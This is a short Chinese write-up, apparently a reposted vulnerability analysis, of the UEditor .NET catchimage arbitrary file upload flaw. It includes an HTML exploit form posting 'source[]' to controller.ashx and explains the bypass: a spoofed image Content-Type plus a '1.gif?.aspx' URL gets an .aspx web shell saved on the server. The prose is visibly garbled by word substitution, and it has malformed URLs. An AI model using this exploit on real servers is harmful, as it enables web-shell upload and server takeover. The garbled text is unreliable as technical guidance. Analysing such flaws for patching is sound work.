ue下载地址
http://http://ueditor.baidu.com/website/download.html
exp

<form action="http://192.168.1.103/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded"  method="POST">  <p>shell addr:<input type="text" name="source[]" /></p >  <inputtype="submit" value="Submit" /></form>

咱们首先来看一下目录构造

ue是一个典型的net web

bin目录和app_code目录其中bin上面援用的是jsondll 因而这里咱们不剖析dll

次要还是看app_code目录上面的cs文件 首先轻易跟进一个办法看看有没有任意文件上传的可能性

首先看到uploadimages办法

而这里正好是因为援用了下面的dll 所以能够间接加载json

这里第一步先实例化UploadHandler类 而后第二部从json获取各种配置信息 穿给类外面的值

传递实现值后间接开始上传办法

而后对上传文件进行判断

咱们跟进办法

那么破绽是怎么造成的呐?

破绽在CrawlerHandler这个类外面

如果拜访则直接判断返回文件的ContentType 这里咱们能够间接Content-Type: image/png绕过

这里先传入source[] 而后实列化Crawler类 咱们进入这个class查看 首先通过IsExternalIPAddress办法判断是否是一个可被DNS解析的域名地址

那么他文件名是怎么获取的呐?

这里能够很分明的看见也是http://SYSTEM.IO外面的个体filename获取最初一个点结尾的 然而咱们又不能以.aspx结尾 这里问好就起作用了,再url外面1.gif?.aspx会被默认当成1.gif解析然而传递给咱们的文件ext却是.aspx结尾的

所以破绽由此造成
参考
https://www.freebuf.com/vuls/181814.html